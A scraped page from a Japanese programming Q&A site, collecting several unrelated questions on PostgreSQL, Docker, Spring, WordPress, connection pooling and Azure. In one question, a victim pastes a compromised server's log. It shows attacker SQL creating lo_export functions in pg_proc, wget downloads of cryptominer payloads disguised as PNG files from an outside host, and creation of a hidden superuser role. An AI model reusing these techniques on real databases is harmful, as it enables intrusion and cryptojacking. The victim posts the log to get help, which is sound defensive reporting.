常連

注目の的

社会貢献

質問力

### 前提・実現したいこと
PostgreSQLでDB内容をcsv出力する必要があります。
\copyを使用し、データ内容を出力することは実現できました。
しかし、ファイル名はSQLファイル内に書いた文字列固定になっています。
yyyymmdd ddmmss.csvという形で出力したいです。

### 試したこと

以下で固定ファイル名のcsvが出力されました。
\COPY テーブル名 TO './CSVOut/ファイル名.csv' WITH CSV DELIMITER ',' NULL AS '' HEADER;

### 補足情報（FW/ツールのバージョンなど）

PostgreSQLのバージョンは9.1.5です。

PostgreSQLでDBから\copyを使用しcsvを出力する際に、ファイル名を現在時刻にする方法

データベース内のaddressesテーブルをpg_dumpし、そのテーブルをpg_restoreしようと下記のコマンドを発行しました。

pg_dump -Fc -t addresses DB名 > addresses_dump

pg_restore -c -d DB名 < addresses_dump

そこで、上記のpg_restoreのオプションの「-c」ですが
これはDB内のテーブル全て削除されてしまいますでしょうか？
それともaddressesテーブルのみ削除されますでしょうか？

pg_restoreのオプションについて質問です。

postgresqlでロングトランザクションを検知する方法があればご教授願います。

デッドロックを検出する「「deadlock_timeout」パラメータはありますが、
それとは別に、なんらかの理由によりトランザクションが長時間経過している
場合に検知したいです。
また、pg_stat_activityビューでユーザ側が確認する方法もあるかと思いますが
知りたいのは、postgresql側の設定等でロングトランザクションを検知する方法
です。

※postgresqlのバージョンは問いません。

以上、よろしくお願いいたします。

postgresqlでロングトランザクションを検知する方法

お世話になります。postgresに怪しいログがあり、
何かわかる方がいたら教えて頂けないかと。。。
ファイルをダウンロードまでされていて、これはウイルスでしょうか？
ファイルを探しましたが何処にあるかわかりませんでした。
下の部分のあとのログは、最後のdelete分がずっと続いています。

コネクション数が上限に達していたため気がつきました。
宜しくお願いいたします。

環境は
centOS6.9
PostgreSQL9.2
です。

-----
ERROR:  large object 3424356684 does not exist
STATEMENT:  select lo_unlink(3424356684)
ERROR:  function lo_export(bigint, unknown) does not exist at character 8
HINT:  No function matches the given name and argument types. You might need to add explicit type casts.
STATEMENT:  select lo_export(3424356684, './tmp3424356684');
ERROR:  function obj3424356684(bigint, unknown) does not exist at character 8
HINT:  No function matches the given name and argument types. You might need to add explicit type casts.
STATEMENT:  select obj3424356684(3424356684, './tmp3424356684');
ERROR:  column "protrftypes" of relation "pg_proc" does not exist at character 274
STATEMENT:  insert into  pg_proc   (proname ,pronamespace,proowner,prolang,procost,prorows,provariadic ,protransform,proisagg,proiswindow,prosecdef,proleakproof,proisstrict,proretset,provolatile,pronargs,pronargdefaults,prorettype,proargtypes,proallargtypes,proargmodes,proargdefaults,protrftypes,prosrc,probin,proconfig,proacl,proparallel) values  ('obj3424356684',11,10,12,1,0,0 ,'-','f','f','f','f','f','f','v',2,0,'23','26 25',null,null,null,null,'lo_export',null,null,null,'f')
ERROR:  column "proparallel" of relation "pg_proc" does not exist at character 305
STATEMENT:  insert into  pg_proc   (proname ,pronamespace,proowner,prolang,procost,prorows,provariadic ,protransform,proisagg,proiswindow,prosecdef,proleakproof,proisstrict,proretset,provolatile,pronargs,pronargdefaults,prorettype,proargtypes,proallargtypes,proargmodes,proargdefaults,prosrc,probin,proconfig,proacl,proparallel) values  ('obj3424356684',11,10,12,1,0,0 ,'-','f','f','f','f','f','f','v',2,0,'23','26 25',null,null,null,'lo_export',null,null,null,'f');
sh: lshw: command not found

--2018-04-27 10:26:46--  http://img1.imagehousing.com/0/baby-942650.png
Resolving img1.imagehousing.com... 104.27.180.36, 104.27.181.36, 2400:cb00:2048:1::681b:b524, ...
Connecting to img1.imagehousing.com|104.27.180.36|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1571 (1.5K) [image/png]
Saving to: “./conf1.dat”

     0K .                                                     100%  247M=0s

2018-04-27 10:26:46 (247 MB/s) - “./conf1.dat” saved [1571/1571]

896+0 records in
896+0 records out
896 bytes (896 B) copied, 0.00186276 s, 481 kB/s
chmod: cannot access `./x3424356684': No such file or directory
--2018-04-27 10:26:47--  http://img1.imagehousing.com/0/cat-497532.png
Resolving img1.imagehousing.com... 104.27.180.36, 104.27.181.36, 2400:cb00:2048:1::681b:b524, ...
Connecting to img1.imagehousing.com|104.27.180.36|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 840464 (821K) [image/png]
Saving to: “qtikgczj.jpg”

     0K .......... .......... .......... .......... ..........  6% 16.8M 0s
    50K .......... .......... .......... .......... .......... 12% 21.1M 0s
   100K .......... .......... .......... .......... .......... 18% 22.9M 0s
   150K .......... .......... .......... .......... .......... 24% 26.6M 0s
   200K .......... .......... .......... .......... .......... 30% 20.7M 0s
   250K .......... .......... .......... .......... .......... 36% 28.5M 0s
   300K .......... .......... .......... .......... .......... 42% 32.9M 0s
   350K .......... .......... .......... .......... .......... 48% 29.8M 0s
   400K .......... .......... .......... .......... .......... 54% 32.1M 0s
   450K .......... .......... .......... .......... .......... 60% 38.5M 0s
   500K .......... .......... .......... .......... .......... 67% 38.2M 0s
   550K .......... .......... .......... .......... .......... 73% 39.0M 0s
   600K .......... .......... .......... .......... .......... 79% 42.0M 0s
   650K .......... .......... .......... .......... .......... 85% 38.2M 0s
   700K .......... .......... .......... .......... .......... 91% 37.6M 0s
   750K .......... .......... .......... .......... .......... 97% 43.3M 0s
   800K .......... ..........                                 100% 51.6M=0.03s

2018-04-27 10:26:48 (29.7 MB/s) - “qtikgczj.jpg” saved [840464/840464]

819808+0 records in
819808+0 records out
819808 bytes (820 kB) copied, 1.47717 s, 555 kB/s
./x3424356684: /lib64/libc.so.6: version `GLIBC_2.14' not found (required by ./x3424356684)
ERROR:  role "s3b09233" already exists
STATEMENT:  CREATE ROLE s3b09233  LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE REPLICATION   VALID UNTIL 'infinity';
ERROR:  role "s3b09233" already exists
STATEMENT:  CREATE ROLE s3b09233  LOGIN ENCRYPTED PASSWORD 'md51351dbb7fe95c1f277282bc842cb3d6b' SUPERUSER CREATEDB CREATEROLE    VALID UNTIL 'infinity';
ERROR:  permission denied for relation pg_proc
STATEMENT:  delete from pg_proc where ( prosrc = 'lo_export'  OR  prosrc  = 'sys_eval' ) AND   proname  <>  'obj3424356684' and proname <> 'fun2364340837';

-----

上記jpgファイルを自分でダウンロードして、テキストで開くと、コマンドっぽいものやら、logっぽい文章がかなりありました。
また、上記logについてもPostgreSQLのroleを作成しようとしている部分があるなどが気になります。

以下は一部抜粋です。


-----
xmrig async check fs_event fs_poll handle idle prepare tcp timer tty udp signal <unknown> [%c%c%c] %-8s %p I- A- R- Unknown system error Unknown system error %d E2BIG EACCES EADDRINUSE EADDRNOTAVAIL EAFNOSUPPORT EAGAIN EAI_ADDRFAMILY EAI_AGAIN EAI_BADFLAGS EAI_BADHINTS EAI_CANCELED EAI_FAIL EAI_FAMILY EAI_MEMORY EAI_NODATA EAI_NONAME EAI_OVERFLOW EAI_PROTOCOL EAI_SERVICE EAI_SOCKTYPE EALREADY EBADF EBUSY ECANCELED ECHARSET ECONNABORTED ECONNREFUSED ECONNRESET EDESTADDRREQ EEXIST EFAULT EFBIG EHOSTUNREACH EINTR EINVAL EISCONN EISDIR ELOOP EMFILE EMSGSIZE ENAMETOOLONG ENETDOWN ENETUNREACH ENFILE ENOBUFS ENODEV ENOENT ENOMEM ENONET ENOPROTOOPT ENOSPC ENOSYS ENOTCONN ENOTDIR ENOTEMPTY ENOTSOCK ENOTSUP EPERM EPIPE EPROTO EPROTONOSUPPORT EPROTOTYPE ERANGE EROFS ESHUTDOWN ESPIPE ESRCH ETIMEDOUT ETXTBSY EXDEV UNKNOWN EOF ENXIO EMLINK EHOSTDOWN EREMOTEIO ENOTTY argument list too long permission denied address already in use address not available address family not supported temporary failure bad ai_flags value invalid value for hints request canceled permanent failure ai_family not supported out of memory no address unknown node or service argument buffer overflow resolved protocol is unknown socket type not supported bad file descriptor resource busy or locked operation canceled invalid Unicode character connection refused connection reset by peer destination address required file already exists file too large host is unreachable interrupted system call invalid argument i/o error socket is already connected too many open files message too long name too long network is down network is unreachable file table overflow no buffer space available no such device no such file or directory not enough memory machine is not on the network protocol not available no space left on device function not implemented socket is not connected not a directory directory not empty operation not permitted broken pipe protocol error protocol not supported result too large read-only file system invalid seek no such process connection timed out text file is busy unknown error end of file no such device or address too many links host is down remote I/O error src/uv-common.c err == 0                       ｮ・(ｭ・ｸｬ・ｮ・・隴・ﾘｭ・ﾈｭ・ｸｭ・ｨｭ・亊・渥・xｭ・hｭ・Xｭ・Hｭ・8ｭ・ｬﾆ・Lﾆ・\ﾆ・ｬﾆ・lﾆ・ｬﾆ・|ﾆ・ｬﾆ・姑・ｬﾆ・愴・ｬﾆ・4ﾆ・        @       `       ﾀ       P       @      ｸ                    (                                     x       ・      h       `       x                    x       ・      ・      ・      ・      8      ﾘ       ・      uv_loop_delete  resource temporarily unavailable        service not available for socket type   connection already in progress  software caused connection abort        bad address in system call argument     illegal operation on a

PostgreSQLに怪しいログが、、、

Docker/プログラミング初心者です。
開発環境にDockerを導入することを本格的に検討しています。

Dockerを使ったシステムの開発・テスト・本番環境のデプロイの際に一般的に取られる方法をご教示頂きたく質問いたします。

個人的には以下のような流れかと考えていますが、違う点についてご指摘頂きたく存じます。

#■①-1: 1人目のDockerコンテナを使った開発環境の構築
①手元のPCなどでコードを作成(ex. HelloWorld.java)
②手元のPCでコンテナ作成＋コンテナを作成するときにHelloWorld.javaがある手元のPCをコンテナにマウント
③コンテナ内に開発環境・実行環境に必要なパッケージをインストール
④コンテナにマウントしたディレクトリ内にあるHelloWorld.javaをコンパイル・実行

#■①-2: ①-1を行った人が開発環境・実行環境をチームの他の人に配布するためのDockerfileの作成
①Dockerfileを作成
 ```
FROM centos:7
RUN yum install ...(開発環境・実行環境のインストール）
ADD HelloWorld.java  /ソースコード配置先ディレクトリ
```
②HelloWorld.javaとDockerfileをGitHubのリポジトリにpush
③他のチームの人間はgit cloneでHelloWorld.javaとDockerfileとローカルにコピー
④HelloWorld.javaを編集、Dockerfileをビルドしてイメージ作成→コンテナ作成してHelloWorld.javaを実行
　（コードはDockerコンテナ外の手元のPCで編集して、コンテナ内ではコンパイルと実行のみイメージしていますが、この点も変であればご指摘頂ければ大変幸いです）
⑤完成したHelloWorld.javaとDockerfileをGitHubのリポジトリにpush

#■②: テスト環境の構築
① ①-2の⑤でGitHubにpushしたHelloWorld.javaとDockerfileを元にイメージ作成→コンテナを作成してコンテナに対してテスト実施
② テストに成功したら、別のGitHubのリポジトリにテストに成功したHelloWorld.javaとDockerfileをpush

#■③と④: ステージング・本番環境の構築
① ②の②でテストに成功したHelloWorld.javaとDockerfileをgit cloneでステージングまたは本番環境にコピー
② ①でコピーしたDockerfileを元にイメージ作成→コンテナ作成してステージングまたは本番環境をデプロイ
　
　
　
以上のイメージを持っているのですが、違う点やもっとこうした方がいいなどありましたらご教示頂ければ幸いです。

また、付随する内容について2点質問いたします。
　
　
　
#■追加質問①
DockerfileでFROMで使うのは信頼できるオフィシャルのイメージを指定するのが一般的で、DockerHubにpushした独自イメージはあまり指定しないのでは、と思っているのですが、その認識であっていますでしょうか？

　
　
　
どうぞ宜しくお願いいたします。

Dockerコンテナでの①開発・②テスト･③ステージング・④本番環境の作成の一般的な作成パターンについて

Spring Cloudを用いて、Serviceの多重化や、ロードバランシング、ログの収集などをするメリットはなんでしょうか？

また、AWSのLambdaやCloudWatchを用いて開発するのとは何が違うのでしょうか？

例えば、APIの開発をする際には
AWSのAPI Gateway、Lambda、DynamoDBと連携させて出来るのだから、
あえて、SpringConfig、Ribbonなどを用いて開発する意味が分かりません。

ご回答、お待ちしております。

spring cloudを使うメリット

去年あたりからよく聞くようになってきました、
Wordpress REST API + Vue.js での構築にて、記事ページの作成例などはよく見かけるのですが、お問い合わフォームがある場合は皆さんどうやって作るんでしょう？

作り方の詳細が知りたいというよりかは、どういったアプローチで構築していくのかが知りたく思いっています。

Wordpress REST API + Vue.js でお問い合わせフォームはどう作りますか？

###同時アクセス数が増えるとコネクションが切断されてしまう。

Spring MVCで作成しているWEBシステムで、
同時アクセスができていることの確認はできているのですが、
同時アクセス数が増えると、コネクションが切断されてしまいます。

そこで、コネクションプールの設定を行う為に
データソースマッピング設定に以下の設定を記載しましたが、
設定が反映されませんでした。



```
        <bean id="dataSource" class="org.apache.tomcat.jdbc.pool.DataSource">
        <property name="driverClassName" value="org.postgresql.Driver"/>
        <property name="url" value="jdbc:postgresql://xxxxxxxxxxxxxx"/>
        <property name="username" value="xxxx" />
        <property name="password" value="xxxx" />
        <property name="validationQuery" value="SELECT 1" />
        <property name="testOnBorrow" value="true" />
        <property name="testWhileIdle" value="true" />
        <property name="timeBetweenEvictionRunsMillis" value="60000" />
        <property name="initialSize" value="100" />
        <property name="maxActive" value="100" />
        <property name="maxIdle" value="100" />
        <property name="minIdle" value="10" />
```
以下にpom.xmlを抜粋します

```	<dependencies>

		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-core</artifactId>
			<version>${spring.version}</version>
		</dependency>

		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-web</artifactId>
			<version>${spring.version}</version>
		</dependency>

		<dependency>
			<groupId>org.springframework</groupId>
			<artifactId>spring-webmvc</artifactId>
			<version>${spring.version}</version>
		</dependency>
		<dependency>
		    <groupId>org.springframework</groupId>
		    <artifactId>spring-jdbc</artifactId>
		    <version>4.3.8.RELEASE</version>
		</dependency>
		<dependency>
		    <groupId>org.postgresql</groupId>
		    <artifactId>postgresql</artifactId>
		    <version>9.4-1200-jdbc41</version>
		</dependency>
		<dependency>
		    <groupId>org.springframework</groupId>
		    <artifactId>spring-jdbc</artifactId>
		    <version>4.3.8.RELEASE</version>
		</dependency>
		<dependency>
		    <groupId>org.apache.tomcat</groupId>
		    <artifactId>tomcat-jdbc</artifactId>
		    <version>8.5.23</version>
		</dependency>
```


###コネクション接続時に発生したエラーメッセージ

```
[ERROR] DBException!
000.0.0.0jp.co.xxx.exception.DBException: java.sql.SQLException: PooledConnection has already been closed.
jp.co.xxxx.exception.DBException: jp.co.xxxx.exception.DBException: java.sql.SQLException: PooledConnection has already been closed.
```

何かアドバイスをいただけるとうれしいです。
よろしくお願い致します。

###追記
ご質問ありがとうございます。
返答が遅くなり、申し訳ございません。

A)PostgreSQL側で、max_connectionsの設定は？ 
⇒"100"になっております。

B)PostgreSQL側で、全てのSQLをログ出力できるようにして、validationQuery" value="SELECT 1 " が発行されているかどうか 
⇒確認しましたところ、validationQuery" value="SELECT 1 "の発行はされておりました。

C) OS側のtcp timeoutが短すぎることはないか？
⇒他アプリケーション動作時は、問題なく動作するため、
　tcp timeoutの設定は問題ないと思っております。

また、今回の同時アクセス検証につきましては、
10秒間に100アクセスが可能かの検証を行っており
現状、100アクセス中の数件のコネクションが切断されてしまう状態です。

###追記(使用データソース変更(2017/11/16))
データソースを
org.apache.commons.dbcp.BasicDataSourceに変更したところ、
性能が多少改善致しましたので追記致します。
（以前、[dbcp2]を試した時は、性能の改善が見られなかったのですが…)

【以下、データソースマッピング設定】
```
	<bean id="dataSource" class="org.apache.commons.dbcp.BasicDataSource">
		<property name="driverClassName" value="org.postgresql.Driver"/>
		<property name="url" value="jdbc:postgresql://xxxxxxxxxxxxxx" />
		<property name="username" value="xxxxx"/>
		<property name="password" value="xxxxx"/>
		<property name="initialSize" value="300"/>
		<property name="testOnBorrow" value="true"/>
		<property name="maxActive" value="300"/>
		<property name="maxIdle" value="300" />
	</bean>
```

上記データソースに変更後、
10秒間に100アクセスは、問題なく動作するようになりました。
ご協力ありがとうございます。

しかし、
・負荷を上げると、以前と同エラーが発生してしまう。
　(※5秒間に400アクセスの検証で稀にエラーが発生)
　
・10秒間に100アクセスの検証をループして実施すると、
　エラーが発生してしまう。
　(※10秒間に100アクセスを2分間ループさせると、
　　 1％未満の確立でエラーが発生)

・不具合原因の特定ができていない。

という状況の為、引き続き調査を行っていきたいと思っております。

皆様お忙しいとは思いますが、
引き続きお力添えいただければ幸いです。

同時アクセス数が増えるとコネクションが切断されてしまう。

###前提・実現したいこと
Azure上にソフトウエアルータを設置したいと考えております。
オンプレミスの仮想環境で、Ｖｙｏｓを触ったことがあるため、
Azure上でも同様に考えております。


###試したこと
Windows10マシンでのHyper-vサービス追加とVYOS仮想マシンのインストールおよびそのVHDイメージのエクスポート

AzureStorageExploerのインストールをAzureへのアップロード

Azure上でのイメージ展開・仮想マシンとしてのデプロイ
　→SSHで繋がらない。コンソールも使えないため、先に進まない。

ご経験のある方で、シンプルなデプロイ方法をご存知でしたら、ご教示ください。

AzureでのVｙＯＳデプロイ方法をご教示ください

###前提・実現したいこと
  ※URLは例としてexample.co.jpとしております
　AWSのサービスのみで、Wordpressサーバで構築したHPのアドレスを、httpからhttpsへ移行したいです。
　例）http://www.example.co.jp  =>  https://www.example.co.jp

###使用環境　※全てAWS上での環境です
　①Wordpressサーバ　※AWSで構築しております
　　OSはUbuntu16.04 64bit
　②Certificate Managemer
　　example.co.jpのドメインで証明書申請 => 発行完了　
　③Application Load Balancer
　　・リスナーに80と443を設定
　　・セキュリティーポリシーは「ELBSecurityPolicy-2016-08」を指定
　　・443には上記②で発行した証明書を設定
　　・ターゲットは①のポート80を指定、登録済みターゲットに設定
　④Route53
　　・example.co.jpのAレコードをセット
　　　Alias=Yes、Value=③のロードバランサーのDNS名「～.elb.amazonaws.com」を指定して保存
　⑤セキュリティーグループの設定
　　HTTP(80）、HTTPS（443）のインバウンドを許可設定にしております。

###発生している問題・エラーメッセージ
　Google Chromeにてhttpsで該当のページへアクセスすると、
　「この接続ではプライバシーが保護されません」
　（該当HP）では、悪意のあるユーザーによって、パスワード、メッセージ、クレジット カードなどの情報が盗まれる可能性があります。
　　NET::ERR_CERT_AUTHORITY_INVALID
　が出力し、アクセス出来ません。
　Firefox等で例外許可し、無理やりアクセスする事は可能です。

###試した事
　①wp-config.phpにて、DBのパスワードなどが記述されている箇所のすぐ下へ次のように追記
　　define('WP_HOME','https://www.example.co.jp');
　　define('WP_SITEURL','https://www.example.co.jp');　　
　　　※作業開始前からWordpressの管理画面で、Wordpressアドレスとサイトアドレスがグレーアウトになっていました。
　　　この編集を実行した後、HPへアクセスすらできなくなり、wp-config.phpファイルを元に戻しても復旧せず。
　　　仕方なく、事前にとっていたスナップショットから復旧させました。

　②.htaccessを編集し、下記の記述を先頭行へ追記
　　RewriteEngine On
　　RewriteBase /
　　RewriteCond %{HTTPS} off
　　RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L]
　　　エラー変わらずでした。
　③WordpressにReally Simple SSLのプラグインをインストール
　　エラーとなり、うまくいきませんでした。現在は無効にしてあります。
　④ロードバランサーのセキュリティーポリシー設定
　　「ELBSecurityPolicy-2016-08」以外のポリシー全てに変更してみましたが、変化ありませんでした。

Wordpress、およびネットワークに疎く申し訳ございませんが、お知恵をお貸しください。
どうぞよろしくお願い致します。